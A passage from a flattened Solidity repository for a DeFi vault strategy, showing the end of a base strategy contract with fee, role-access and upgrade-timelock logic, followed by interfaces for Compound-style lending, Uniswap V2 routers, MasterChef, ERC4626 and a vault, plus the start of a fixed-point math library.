newStrategistFee); 88 | event StratHarvest(address indexed harvester); 89 | event StrategistRemitterUpdated(address newStrategistRemitter); 90 | 91 | /// @custom:oz-upgrades-unsafe-allow constructor 92 | constructor() initializer {} 93 | 94 | function __ReaperBaseStrategy_init( 95 | address _vault, 96 | address _want, 97 | address[] memory _feeRemitters, 98 | address[] memory _strategists, 99 | address[] memory _multisigRoles 100 | ) internal onlyInitializing { 101 | __UUPSUpgradeable_init(); 102 | __AccessControlEnumerable_init(); 103 | 104 | totalFee = 450; 105 | callFee = 1000; 106 | treasuryFee = 9000; 107 | strategistFee = 2500; 108 | 109 | vault = _vault; 110 | treasury = _feeRemitters[0]; 111 | strategistRemitter = _feeRemitters[1]; 112 | 113 | want = _want; 114 | IERC20Upgradeable(want).safeApprove(vault, type(uint256).max); 115 | 116 | for (uint256 i = 0; i < _strategists.length; i = _uncheckedInc(i)) { 117 | _grantRole(STRATEGIST, _strategists[i]); 118 | } 119 | 120 | _grantRole(DEFAULT_ADMIN_ROLE, msg.sender); 121 | _grantRole(DEFAULT_ADMIN_ROLE, _multisigRoles[0]); 122 | _grantRole(ADMIN, _multisigRoles[1]); 123 | _grantRole(GUARDIAN, _multisigRoles[2]); 124 | 125 | cascadingAccess = [DEFAULT_ADMIN_ROLE, ADMIN, GUARDIAN, STRATEGIST, KEEPER]; 126 | clearUpgradeCooldown(); 127 | } 128 | 129 | /** 130 | * @dev Withdraws funds and sends them back to the vault. Can only 131 | * be called by the vault. _amount must be valid and security fee 132 | * is deducted up-front. 133 | */ 134 | function withdraw(uint256 _amount) external override returns (uint256 loss) { 135 | require(msg.sender == vault); 136 | require(_amount != 0); 137 | 138 | uint256 amountFreed = 0; 139 | (amountFreed, loss) = _liquidatePosition(_amount); 140 | IERC20Upgradeable(want).safeTransfer(vault, amountFreed); 141 | } 142 | 143 | /** 144 | * @dev harvest() function that takes care of logging. Subcontracts should 145 | * override _harvestCore() and implement their specific logic in it. 146 | */ 147 | function harvest() external override returns (uint256 callerFee) { 148 | _atLeastRole(KEEPER); 149 | int256 availableCapital = IVault(vault).availableCapital(); 150 | uint256 debt = 0; 151 | if (availableCapital < 0) { 152 | debt = uint256(-availableCapital); 153 | } 154 | 155 | int256 roi = 0; 156 | uint256 repayment = 0; 157 | if (emergencyExit) { 158 | uint256 amountFreed = _liquidateAllPositions(); 159 | if (amountFreed < debt) { 160 | roi = -int256(debt - amountFreed); 161 | } else if (amountFreed > debt) { 162 | roi = int256(amountFreed - debt); 163 | } 164 | 165 | repayment = debt; 166 | if (roi < 0) { 167 | repayment -= uint256(-roi); 168 | } 169 | } else { 170 | (callerFee, roi, repayment) = _harvestCore(debt); 171 | } 172 | 173 | debt = IVault(vault).report(roi, repayment); 174 | _adjustPosition(debt); 175 | lastHarvestTimestamp = block.timestamp; 176 | emit StratHarvest(msg.sender); 177 | } 178 | 179 | /** 180 | * @dev Function to calculate the total {want} held by the strat. 181 | * It takes into account both the funds in hand, plus the funds in external contracts. 182 | */ 183 | function balanceOf() public view virtual override returns (uint256); 184 | 185 | /** 186 | * @notice 187 | * Activates emergency exit. Once activated, the Strategy will exit its 188 | * position upon the next harvest, depositing all funds into the Vault as 189 | * quickly as is reasonable given on-chain conditions. 190 | * 191 | * This may only be called by governance or the strategist. 192 | * @dev 193 | * See `vault.setEmergencyShutdown()` and `harvest()` for further details. 194 | */ 195 | function setEmergencyExit() external { 196 | _atLeastRole(GUARDIAN); 197 | emergencyExit = true; 198 | IVault(vault).revokeStrategy(address(this)); 199 | } 200 | 201 | /** 202 | * @dev updates the total fee, capped at 5%; only DEFAULT_ADMIN_ROLE. 203 | */ 204 | function updateTotalFee(uint256 _totalFee) external { 205 | _atLeastRole(DEFAULT_ADMIN_ROLE); 206 | require(_totalFee <= MAX_FEE); 207 | totalFee = _totalFee; 208 | emit TotalFeeUpdated(totalFee); 209 | } 210 | 211 | /** 212 | * @dev updates the call fee, treasury fee, and strategist fee 213 | * call Fee + treasury Fee must add up to PERCENT_DIVISOR 214 | * 215 | * strategist fee is expressed as % of the treasury fee and 216 | * must be no more than STRATEGIST_MAX_FEE 217 | * 218 | * only DEFAULT_ADMIN_ROLE. 219 | */ 220 | function updateFees( 221 | uint256 _callFee, 222 | uint256 _treasuryFee, 223 | uint256 _strategistFee 224 | ) external returns (bool) { 225 | _atLeastRole(DEFAULT_ADMIN_ROLE); 226 | require(_callFee + _treasuryFee == PERCENT_DIVISOR); 227 | require(_strategistFee <= STRATEGIST_MAX_FEE); 228 | 229 | callFee = _callFee; 230 | treasuryFee = _treasuryFee; 231 | strategistFee = _strategistFee; 232 | emit FeesUpdated(callFee, treasuryFee, strategistFee); 233 | return true; 234 | } 235 | 236 | /** 237 | * @dev only DEFAULT_ADMIN_ROLE can update treasury address. 238 | */ 239 | function updateTreasury(address newTreasury) external returns (bool) { 240 | _atLeastRole(DEFAULT_ADMIN_ROLE); 241 | treasury = newTreasury; 242 | return true; 243 | } 244 | 245 | /** 246 | * @dev Updates the current strategistRemitter. Only DEFAULT_ADMIN_ROLE may do this. 247 | */ 248 | function updateStrategistRemitter(address _newStrategistRemitter) external { 249 | _atLeastRole(DEFAULT_ADMIN_ROLE); 250 | require(_newStrategistRemitter != address(0)); 251 | strategistRemitter = _newStrategistRemitter; 252 | emit StrategistRemitterUpdated(_newStrategistRemitter); 253 | } 254 | 255 | /** 256 | * @dev This function must be called prior to upgrading the implementation. 257 | * It's required to wait UPGRADE_TIMELOCK seconds before executing the upgrade. 258 | * Strategists and roles with higher privilege can initiate this cooldown. 259 | */ 260 | function initiateUpgradeCooldown() external { 261 | _atLeastRole(STRATEGIST); 262 | upgradeProposalTime = block.timestamp; 263 | } 264 | 265 | /** 266 | * @dev This function is called: 267 | * - in initialize() 268 | * - as part of a successful upgrade 269 | * - manually to clear the upgrade cooldown. 270 | * Guardian and roles with higher privilege can clear this cooldown. 271 | */ 272 | function clearUpgradeCooldown() public { 273 | _atLeastRole(GUARDIAN); 274 | upgradeProposalTime = block.timestamp + (ONE_YEAR * 100); 275 | } 276 | 277 | /** 278 | * @dev This function must be overriden simply for access control purposes. 279 | * Only DEFAULT_ADMIN_ROLE can upgrade the implementation once the timelock 280 | * has passed. 281 | */ 282 | function _authorizeUpgrade(address) internal override { 283 | _atLeastRole(DEFAULT_ADMIN_ROLE); 284 | require(upgradeProposalTime + UPGRADE_TIMELOCK < block.timestamp); 285 | clearUpgradeCooldown(); 286 | } 287 | 288 | /** 289 | * @dev Internal function that checks cascading role privileges. Any higher privileged role 290 | * should be able to perform all the functions of any lower privileged role. This is 291 | * accomplished using the {cascadingAccess} array that lists all roles from most privileged 292 | * to least privileged. 293 | */ 294 | function _atLeastRole(bytes32 role) internal view { 295 | uint256 numRoles = cascadingAccess.length; 296 | uint256 specifiedRoleIndex; 297 | for (uint256 i = 0; i < numRoles; i = _uncheckedInc(i)) { 298 | if (role == cascadingAccess[i]) { 299 | specifiedRoleIndex = i; 300 | break; 301 | } else if (i == numRoles - 1) { 302 | revert(); 303 | } 304 | } 305 | 306 | for (uint256 i = 0; i <= specifiedRoleIndex; i = _uncheckedInc(i)) { 307 | if (hasRole(cascadingAccess[i], msg.sender)) { 308 | break; 309 | } else if (i == specifiedRoleIndex) { 310 | revert(); 311 | } 312 | } 313 | } 314 | 315 | /** 316 | * Perform any adjustments to the core position(s) of this Strategy given 317 | * what change the Vault made in the "investable capital" available to the 318 | * Strategy. Note that all "free capital" in the Strategy after the report 319 | * was made is available for reinvestment. Also note that this number 320 | * could be 0, and you should handle that scenario accordingly. 321 | */ 322 | function _adjustPosition(uint256 _debt) internal virtual; 323 | 324 | /** 325 | * Liquidate up to `_amountNeeded` of `want` of this strategy's positions, 326 | * irregardless of slippage. Any excess will be re-invested with `_adjustPosition()`. 327 | * This function should return the amount of `want` tokens made available by the 328 | * liquidation. If there is a difference between them, `loss` indicates whether the 329 | * difference is due to a realized loss, or if there is some other sitution at play 330 | * (e.g. locked funds) where the amount made available is less than what is needed. 331 | * 332 | * NOTE: The invariant `liquidatedAmount + loss <= _amountNeeded` should always be maintained 333 | */ 334 | function _liquidatePosition(uint256 _amountNeeded) 335 | internal 336 | virtual 337 | returns (uint256 liquidatedAmount, uint256 loss); 338 | 339 | /** 340 | * Liquidate everything and returns the amount that got freed. 341 | * This function is used during emergency exit instead of `_harvestCore()` to 342 | * liquidate all of the Strategy's positions back to the Vault. 343 | */ 344 | function _liquidateAllPositions() internal virtual returns (uint256 amountFreed); 345 | 346 | /** 347 | * Perform any Strategy unwinding or other calls necessary to capture the 348 | * "free return" this Strategy has generated since the last time its core 349 | * position(s) were adjusted. Examples include unwrapping extra rewards. 350 | * This call is only used during "normal operation" of a Strategy, and 351 | * should be optimized to minimize losses as much as possible. 352 | * 353 | * This method returns any realized profits and/or realized losses 354 | * incurred, and should return the total amounts of profits/losses/debt 355 | * payments (in `want` tokens) for the Vault's accounting. 356 | * 357 | * `_debt` will be 0 if the Strategy is not past the configured 358 | * allocated capital, otherwise its value will be how far past the allocation 359 | * the Strategy is. The Strategy's allocation is configured in the Vault. 360 | * 361 | * NOTE: `repayment` should be less than or equal to `_debt`. 362 | * It is okay for it to be less than `_debt`, as that 363 | * should only used as a guide for how much is left to pay back. 364 | * Payments should be made to minimize loss from slippage, debt, 365 | * withdrawal fees, etc. 366 | * @dev subclasses should add their custom harvesting logic in this function 367 | * including charging any fees. The amount of fee that is remitted to the 368 | * caller must be returned. 369 | */ 370 | function _harvestCore(uint256 _debt) 371 | internal 372 | virtual 373 | returns ( 374 | uint256 callerFee, 375 | int256 roi, 376 | uint256 repayment 377 | ); 378 | 379 | function _uncheckedInc(uint256 i) internal pure returns (uint256) { 380 | unchecked { 381 | return i + 1; 382 | } 383 | } 384 | } 385 | -------------------------------------------------------------------------------- /src/interfaces/CErc20I.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity 0.8.11; 4 | 5 | import "./CTokenI.sol"; 6 | 7 | interface CErc20I is CTokenI { 8 | function mint(uint256 mintAmount) external returns (uint256); 9 | 10 | function redeem(uint256 redeemTokens) external returns (uint256); 11 | 12 | function redeemUnderlying(uint256 redeemAmount) external returns (uint256); 13 | 14 | function borrow(uint256 borrowAmount) external returns (uint256); 15 | 16 | function repayBorrow(uint256 repayAmount) external returns (uint256); 17 | 18 | function repayBorrowBehalf(address borrower, uint256 repayAmount) 19 | external 20 | returns (uint256); 21 | 22 | function liquidateBorrow( 23 | address borrower, 24 | uint256 repayAmount, 25 | CTokenI cTokenCollateral 26 | ) external returns (uint256); 27 | 28 | function underlying() external view returns (address); 29 | 30 | function comptroller() external view returns (address); 31 | } -------------------------------------------------------------------------------- /src/interfaces/CTokenI.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity 0.8.11; 4 | 5 | import "./InterestRateModel.sol"; 6 | 7 | interface CTokenI { 8 | /*** Market Events ***/ 9 | 10 | /** 11 | * @notice Event emitted when interest is accrued 12 | */ 13 | event AccrueInterest( 14 | uint256 cashPrior, 15 | uint256 interestAccumulated, 16 | uint256 borrowIndex, 17 | uint256 totalBorrows 18 | ); 19 | 20 | /** 21 | * @notice Event emitted when tokens are minted 22 | */ 23 | event Mint(address minter, uint256 mintAmount, uint256 mintTokens); 24 | 25 | /** 26 | * @notice Event emitted when tokens are redeemed 27 | */ 28 | event Redeem(address redeemer, uint256 redeemAmount, uint256 redeemTokens); 29 | 30 | /** 31 | * @notice Event emitted when underlying is borrowed 32 | */ 33 | event Borrow( 34 | address borrower, 35 | uint256 borrowAmount, 36 | uint256 accountBorrows, 37 | uint256 totalBorrows 38 | ); 39 | 40 | /** 41 | * @notice Event emitted when a borrow is repaid 42 | */ 43 | event RepayBorrow( 44 | address payer, 45 | address borrower, 46 | uint256 repayAmount, 47 | uint256 accountBorrows, 48 | uint256 totalBorrows 49 | ); 50 | 51 | /** 52 | * @notice Event emitted when a borrow is liquidated 53 | */ 54 | event LiquidateBorrow( 55 | address liquidator, 56 | address borrower, 57 | uint256 repayAmount, 58 | address cTokenCollateral, 59 | uint256 seizeTokens 60 | ); 61 | 62 | /*** Admin Events ***/ 63 | 64 | /** 65 | * @notice Event emitted when pendingAdmin is changed 66 | */ 67 | event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); 68 | 69 | /** 70 | * @notice Event emitted when pendingAdmin is accepted, which means admin is updated 71 | */ 72 | event NewAdmin(address oldAdmin, address newAdmin); 73 | 74 | /** 75 | * @notice Event emitted when the reserve factor is changed 76 | */ 77 | event NewReserveFactor( 78 | uint256 oldReserveFactorMantissa, 79 | uint256 newReserveFactorMantissa 80 | ); 81 | 82 | /** 83 | * @notice Event emitted when the reserves are added 84 | */ 85 | event ReservesAdded( 86 | address benefactor, 87 | uint256 addAmount, 88 | uint256 newTotalReserves 89 | ); 90 | 91 | /** 92 | * @notice Event emitted when the reserves are reduced 93 | */ 94 | event ReservesReduced( 95 | address admin, 96 | uint256 reduceAmount, 97 | uint256 newTotalReserves 98 | ); 99 | 100 | /** 101 | * @notice EIP20 Transfer event 102 | */ 103 | event Transfer(address indexed from, address indexed to, uint256 amount); 104 | 105 | /** 106 | * @notice EIP20 Approval event 107 | */ 108 | event Approval( 109 | address indexed owner, 110 | address indexed spender, 111 | uint256 amount 112 | ); 113 | 114 | /** 115 | * @notice Failure event 116 | */ 117 | event Failure(uint256 error, uint256 info, uint256 detail); 118 | 119 | function transfer(address dst, uint256 amount) external returns (bool); 120 | 121 | function transferFrom( 122 | address src, 123 | address dst, 124 | uint256 amount 125 | ) external returns (bool); 126 | 127 | function approve(address spender, uint256 amount) external returns (bool); 128 | 129 | function allowance(address owner, address spender) 130 | external 131 | view 132 | returns (uint256); 133 | 134 | function balanceOf(address owner) external view returns (uint256); 135 | 136 | function balanceOfUnderlying(address owner) external returns (uint256); 137 | 138 | function getAccountSnapshot(address account) 139 | external 140 | view 141 | returns ( 142 | uint256, 143 | uint256, 144 | uint256, 145 | uint256 146 | ); 147 | 148 | function borrowRatePerBlock() external view returns (uint256); 149 | 150 | function supplyRatePerBlock() external view returns (uint256); 151 | 152 | function totalBorrowsCurrent() external returns (uint256); 153 | 154 | function borrowBalanceCurrent(address account) external returns (uint256); 155 | 156 | function borrowBalanceStored(address account) 157 | external 158 | view 159 | returns (uint256); 160 | 161 | function exchangeRateCurrent() external returns (uint256); 162 | 163 | function accrualBlockNumber() external view returns (uint256); 164 | 165 | function exchangeRateStored() external view returns (uint256); 166 | 167 | function getCash() external view returns (uint256); 168 | 169 | function accrueInterest() external returns (uint256); 170 | 171 | function interestRateModel() external view returns (InterestRateModel); 172 | 173 | function totalReserves() external view returns (uint256); 174 | 175 | function reserveFactorMantissa() external view returns (uint256); 176 | 177 | function seize( 178 | address liquidator, 179 | address borrower, 180 | uint256 seizeTokens 181 | ) external returns (uint256); 182 | 183 | function totalBorrows() external view returns (uint256); 184 | 185 | function totalSupply() external view returns (uint256); 186 | } -------------------------------------------------------------------------------- /src/interfaces/IComptroller.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity 0.8.11; 4 | 5 | import './CTokenI.sol'; 6 | interface IComptroller { 7 | function compAccrued(address user) external view returns (uint256 amount); 8 | function claimComp(address holder, CTokenI[] memory _scTokens) external; 9 | function claimComp(address holder) external; 10 | function enterMarkets(address[] memory _scTokens) external; 11 | function pendingComptrollerImplementation() view external returns (address implementation); 12 | function markets(address ctoken) 13 | external 14 | view 15 | returns ( 16 | bool, 17 | uint256, 18 | bool 19 | ); 20 | function compSpeeds(address ctoken) external view returns (uint256); // will be deprecated 21 | } -------------------------------------------------------------------------------- /src/interfaces/IERC4626.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity 0.8.11; 4 | 5 | interface IERC4626 { 6 | function asset() external view returns (address assetTokenAddress); 7 | function totalAssets() external view returns (uint256 totalManagedAssets); 8 | function convertToShares(uint256 assets) external view returns (uint256 shares); 9 | function convertToAssets(uint256 shares) external view returns (uint256 assets); 10 | function maxDeposit(address receiver) external view returns (uint256 maxAssets); 11 | function previewDeposit(uint256 assets) external view returns (uint256 shares); 12 | function deposit(uint256 assets, address receiver) external returns (uint256 shares); 13 | function maxMint(address receiver) external view returns (uint256 maxShares); 14 | function previewMint(uint256 shares) external view returns (uint256 assets); 15 | function mint(uint256 shares, address receiver) external returns (uint256 assets); 16 | function maxWithdraw(address owner) external view returns (uint256 maxAssets); 17 | function previewWithdraw(uint256 assets) external view returns (uint256 shares); 18 | function withdraw(uint256 assets, address receiver, address owner) external returns (uint256 shares); 19 | function maxRedeem(address owner) external view returns (uint256 maxShares); 20 | function previewRedeem(uint256 shares) external view returns (uint256 assets); 21 | function redeem(uint256 shares, address receiver, address owner) external returns (uint256 assets); 22 | event Deposit(address indexed caller, address indexed owner, uint256 assets, uint256 shares); 23 | event Withdraw(address indexed caller, address indexed receiver, address indexed owner, uint256 assets, uint256 shares); 24 | } -------------------------------------------------------------------------------- /src/interfaces/IMasterChef.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | interface IMasterChef { 6 | function TOTAL_REWARDS() external view returns (uint256); 7 | 8 | function add( 9 | uint256 _allocPoint, 10 | address _token, 11 | bool _withUpdate, 12 | uint256 _lastRewardTime 13 | ) external; 14 | 15 | function deposit(uint256 _pid, uint256 _amount) external; 16 | 17 | function emergencyWithdraw(uint256 _pid) external; 18 | 19 | function getGeneratedReward(uint256 _fromTime, uint256 _toTime) external view returns (uint256); 20 | 21 | function governanceRecoverUnsupported( 22 | address _token, 23 | uint256 amount, 24 | address to 25 | ) external; 26 | 27 | function massUpdatePools() external; 28 | 29 | function operator() external view returns (address); 30 | 31 | function pendingShare(uint256 _pid, address _user) external view returns (uint256); 32 | 33 | function poolEndTime() external view returns (uint256); 34 | 35 | function poolInfo(uint256) 36 | external 37 | view 38 | returns ( 39 | address token, 40 | uint256 allocPoint, 41 | uint256 lastRewardTime, 42 | uint256 accTSharePerShare, 43 | bool isStarted 44 | ); 45 | 46 | function poolStartTime() external view returns (uint256); 47 | 48 | function runningTime() external view returns (uint256); 49 | 50 | function set(uint256 _pid, uint256 _allocPoint) external; 51 | 52 | function setOperator(address _operator) external; 53 | 54 | function tSharePerSecond() external view returns (uint256); 55 | 56 | function totalAllocPoint() external view returns (uint256); 57 | 58 | function tshare() external view returns (address); 59 | 60 | function updatePool(uint256 _pid) external; 61 | 62 | function userInfo(uint256, address) external view returns (uint256 amount, uint256 rewardDebt); 63 | 64 | function withdraw(uint256 _pid, uint256 _amount) external; 65 | } 66 | -------------------------------------------------------------------------------- /src/interfaces/IStrategy.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | interface IStrategy { 6 | //vault only - withdraws funds from the strategy 7 | function withdraw(uint256 _amount) external returns (uint256 loss); 8 | 9 | //claims rewards, charges fees, and re-deposits; returns caller fee amount. 10 | function harvest() external returns (uint256 callerFee); 11 | 12 | //returns the balance of all tokens managed by the strategy 13 | function balanceOf() external view returns (uint256); 14 | 15 | //returns the address of the vault that the strategy is serving 16 | function vault() external view returns (address); 17 | 18 | //returns the address of the token that the strategy needs to operate 19 | function want() external view returns (address); 20 | } 21 | -------------------------------------------------------------------------------- /src/interfaces/IUniswapV2Router01.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | interface IUniswapV2Router01 { 6 | function factory() external pure returns (address); 7 | 8 | function WETH() external pure returns (address); 9 | 10 | function addLiquidity( 11 | address tokenA, 12 | address tokenB, 13 | uint256 amountADesired, 14 | uint256 amountBDesired, 15 | uint256 amountAMin, 16 | uint256 amountBMin, 17 | address to, 18 | uint256 deadline 19 | ) 20 | external 21 | returns ( 22 | uint256 amountA, 23 | uint256 amountB, 24 | uint256 liquidity 25 | ); 26 | 27 | function addLiquidityETH( 28 | address token, 29 | uint256 amountTokenDesired, 30 | uint256 amountTokenMin, 31 | uint256 amountETHMin, 32 | address to, 33 | uint256 deadline 34 | ) 35 | external 36 | payable 37 | returns ( 38 | uint256 amountToken, 39 | uint256 amountETH, 40 | uint256 liquidity 41 | ); 42 | 43 | function removeLiquidity( 44 | address tokenA, 45 | address tokenB, 46 | uint256 liquidity, 47 | uint256 amountAMin, 48 | uint256 amountBMin, 49 | address to, 50 | uint256 deadline 51 | ) external returns (uint256 amountA, uint256 amountB); 52 | 53 | function removeLiquidityETH( 54 | address token, 55 | uint256 liquidity, 56 | uint256 amountTokenMin, 57 | uint256 amountETHMin, 58 | address to, 59 | uint256 deadline 60 | ) external returns (uint256 amountToken, uint256 amountETH); 61 | 62 | function removeLiquidityWithPermit( 63 | address tokenA, 64 | address tokenB, 65 | uint256 liquidity, 66 | uint256 amountAMin, 67 | uint256 amountBMin, 68 | address to, 69 | uint256 deadline, 70 | bool approveMax, 71 | uint8 v, 72 | bytes32 r, 73 | bytes32 s 74 | ) external returns (uint256 amountA, uint256 amountB); 75 | 76 | function removeLiquidityETHWithPermit( 77 | address token, 78 | uint256 liquidity, 79 | uint256 amountTokenMin, 80 | uint256 amountETHMin, 81 | address to, 82 | uint256 deadline, 83 | bool approveMax, 84 | uint8 v, 85 | bytes32 r, 86 | bytes32 s 87 | ) external returns (uint256 amountToken, uint256 amountETH); 88 | 89 | function swapExactTokensForTokens( 90 | uint256 amountIn, 91 | uint256 amountOutMin, 92 | address[] calldata path, 93 | address to, 94 | uint256 deadline 95 | ) external returns (uint256[] memory amounts); 96 | 97 | function swapTokensForExactTokens( 98 | uint256 amountOut, 99 | uint256 amountInMax, 100 | address[] calldata path, 101 | address to, 102 | uint256 deadline 103 | ) external returns (uint256[] memory amounts); 104 | 105 | function swapExactETHForTokens( 106 | uint256 amountOutMin, 107 | address[] calldata path, 108 | address to, 109 | uint256 deadline 110 | ) external payable returns (uint256[] memory amounts); 111 | 112 | function swapTokensForExactETH( 113 | uint256 amountOut, 114 | uint256 amountInMax, 115 | address[] calldata path, 116 | address to, 117 | uint256 deadline 118 | ) external returns (uint256[] memory amounts); 119 | 120 | function swapExactTokensForETH( 121 | uint256 amountIn, 122 | uint256 amountOutMin, 123 | address[] calldata path, 124 | address to, 125 | uint256 deadline 126 | ) external returns (uint256[] memory amounts); 127 | 128 | function swapETHForExactTokens( 129 | uint256 amountOut, 130 | address[] calldata path, 131 | address to, 132 | uint256 deadline 133 | ) external payable returns (uint256[] memory amounts); 134 | 135 | function quote( 136 | uint256 amountA, 137 | uint256 reserveA, 138 | uint256 reserveB 139 | ) external pure returns (uint256 amountB); 140 | 141 | function getAmountOut( 142 | uint256 amountIn, 143 | uint256 reserveIn, 144 | uint256 reserveOut 145 | ) external pure returns (uint256 amountOut); 146 | 147 | function getAmountIn( 148 | uint256 amountOut, 149 | uint256 reserveIn, 150 | uint256 reserveOut 151 | ) external pure returns (uint256 amountIn); 152 | 153 | function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); 154 | 155 | function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); 156 | } 157 | -------------------------------------------------------------------------------- /src/interfaces/IUniswapV2Router02.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | import "./IUniswapV2Router01.sol"; 6 | 7 | interface IUniswapV2Router02 is IUniswapV2Router01 { 8 | function removeLiquidityETHSupportingFeeOnTransferTokens( 9 | address token, 10 | uint256 liquidity, 11 | uint256 amountTokenMin, 12 | uint256 amountETHMin, 13 | address to, 14 | uint256 deadline 15 | ) external returns (uint256 amountETH); 16 | 17 | function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( 18 | address token, 19 | uint256 liquidity, 20 | uint256 amountTokenMin, 21 | uint256 amountETHMin, 22 | address to, 23 | uint256 deadline, 24 | bool approveMax, 25 | uint8 v, 26 | bytes32 r, 27 | bytes32 s 28 | ) external returns (uint256 amountETH); 29 | 30 | function swapExactTokensForTokensSupportingFeeOnTransferTokens( 31 | uint256 amountIn, 32 | uint256 amountOutMin, 33 | address[] calldata path, 34 | address to, 35 | uint256 deadline 36 | ) external; 37 | 38 | function swapExactETHForTokensSupportingFeeOnTransferTokens( 39 | uint256 amountOutMin, 40 | address[] calldata path, 41 | address to, 42 | uint256 deadline 43 | ) external payable; 44 | 45 | function swapExactTokensForETHSupportingFeeOnTransferTokens( 46 | uint256 amountIn, 47 | uint256 amountOutMin, 48 | address[] calldata path, 49 | address to, 50 | uint256 deadline 51 | ) external; 52 | } 53 | -------------------------------------------------------------------------------- /src/interfaces/IVault.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.0; 4 | 5 | interface IVault { 6 | struct StrategyParams { 7 | uint256 activation; // Activation block.timestamp 8 | uint256 allocBPS; // Allocation in BPS of vault's total assets 9 | uint256 allocated; // Amount of capital allocated to this strategy 10 | uint256 gains; // Total returns that Strategy has realized for Vault 11 | uint256 losses; // Total losses that Strategy has realized for Vault 12 | uint256 lastReport; // block.timestamp of the last time a report occured 13 | } 14 | 15 | function convertToAssets(uint256 shares) external view returns (uint256); 16 | 17 | function strategies(address strategy) external view returns (StrategyParams memory); 18 | 19 | /** 20 | * @notice Called by a strategy to determine the amount of capital that the vault is 21 | * able to provide it. A positive amount means that vault has excess capital to provide 22 | * the strategy, while a negative amount means that the strategy has a balance owing to 23 | * the vault. 24 | */ 25 | function availableCapital() external view returns (int256); 26 | 27 | /** 28 | * This is the main contact point where the Strategy interacts with the 29 | * Vault. It is critical that this call is handled as intended by the 30 | * Strategy. Therefore, this function will be called by BaseStrategy to 31 | * make sure the integration is correct. 32 | */ 33 | function report(int256 roi, uint256 repayment) external returns (uint256); 34 | 35 | /** 36 | * This function should only be used in the scenario where the Strategy is 37 | * being retired but no migration of the positions are possible, or in the 38 | * extreme scenario that the Strategy needs to be put into "Emergency Exit" 39 | * mode in order for it to exit as quickly as possible. The latter scenario 40 | * could be for any reason that is considered "critical" that the Strategy 41 | * exits its position as fast as possible, such as a sudden change in 42 | * market conditions leading to losses, or an imminent failure in an 43 | * external dependency. 44 | */ 45 | function revokeStrategy(address strategy) external; 46 | } 47 | -------------------------------------------------------------------------------- /src/interfaces/InterestRateModel.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity 0.8.11; 4 | 5 | interface InterestRateModel { 6 | /** 7 | * @notice Calculates the current borrow interest rate per block 8 | * @param cash The total amount of cash the market has 9 | * @param borrows The total amount of borrows the market has outstanding 10 | * @param reserves The total amount of reserves the market has 11 | * @return The borrow rate per block (as a percentage, and scaled by 1e18) 12 | */ 13 | function getBorrowRate( 14 | uint256 cash, 15 | uint256 borrows, 16 | uint256 reserves 17 | ) external view returns (uint256, uint256); 18 | 19 | /** 20 | * @notice Calculates the current supply interest rate per block 21 | * @param cash The total amount of cash the market has 22 | * @param borrows The total amount of borrows the market has outstanding 23 | * @param reserves The total amount of reserves the market has 24 | * @param reserveFactorMantissa The current reserve factor the market has 25 | * @return The supply rate per block (as a percentage, and scaled by 1e18) 26 | */ 27 | function getSupplyRate( 28 | uint256 cash, 29 | uint256 borrows, 30 | uint256 reserves, 31 | uint256 reserveFactorMantissa 32 | ) external view returns (uint256); 33 | } -------------------------------------------------------------------------------- /src/library/FixedPointMathLib.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: AGPL-3.0-only 2 | pragma solidity >=0.8.0; 3 | 4 | /// @notice Arithmetic library with operations for fixed-point numbers. 5 | /// @author Solmate (https://github.com/Rari-Capital/solmate/blob/main/src/utils/FixedPointMathLib.sol) 6 | /// @author Inspired by USM (https://github.com/usmfum/USM/blob/master/contracts/WadMath.sol) 7 | library FixedPointMathLib { 8 | /*////////////////////////////////////////////////////////////// 9 | SIMPLIFIED FIXED POINT OPERATIONS 10 | //////////////////////////////////////////////////////////////*/ 11 | 12 | uint256 internal constant WAD = 1e18; // The scalar of ETH and most ERC20s. 13 | 14 | function mulWadDown(uint256 x, uint256 y) internal pure returns (uint256) { 15 | return mulDivDown(x, y, WAD); // Equivalent to (x * y) / WAD rounded down. 16 | } 17 | 18 | function mulWadUp(uint256 x, uint256 y) internal pure returns (uint256) { 19 | return mulDivUp(x, y, WAD); // Equivalent to (x * y) / WAD rounded up. 20 | } 21 | 22 | function divWadDown(uint256 x, uint256 y) internal pure returns (uint256) { 23 | return mulDivDown(x, WAD, y); // Equivalent to (x * WAD) / y rounded down. 24 | } 25 | 26 | function divWadUp(uint256 x, uint256 y) internal pure returns (uint256) { 27 | return mulDivUp(x, WAD, y); // Equivalent to (x * WAD) / y rounded up. 28 | } 29 | 30 | /*////////////////////////////////////////////////////////////// 31 | LOW LEVEL FIXED POINT OPERATIONS 32 | //////////////////////////////////////////////////////////////*/ 33 | 34 | function mulDivDown( 35 | uint256 x, 36 | uint256 y, 37 | uint256 denominator 38 | ) internal pure returns (uint256 z) { 39 | assembly { 40 | // Store x * y in z for now. 41 | z := mul(x, y) 42 | 43 | // Equivalent to require(denominator != 0 && (x == 0 || (x * y) / x == y)) 44 | if iszero(and(iszero(iszero(denominator)), or(iszero(x), eq(div(z, x), y)))) { 45 | revert(0, 0) 46 | } 47 | 48 | // Divide z by the denominator. 49 | z := div(z, denominator) 50 | } 51 | } 52 | 53 | function mulDivUp( 54 | uint256 x, 55 | uint256 y, 56 | uint256 denominator 57 | ) internal pure returns (uint256 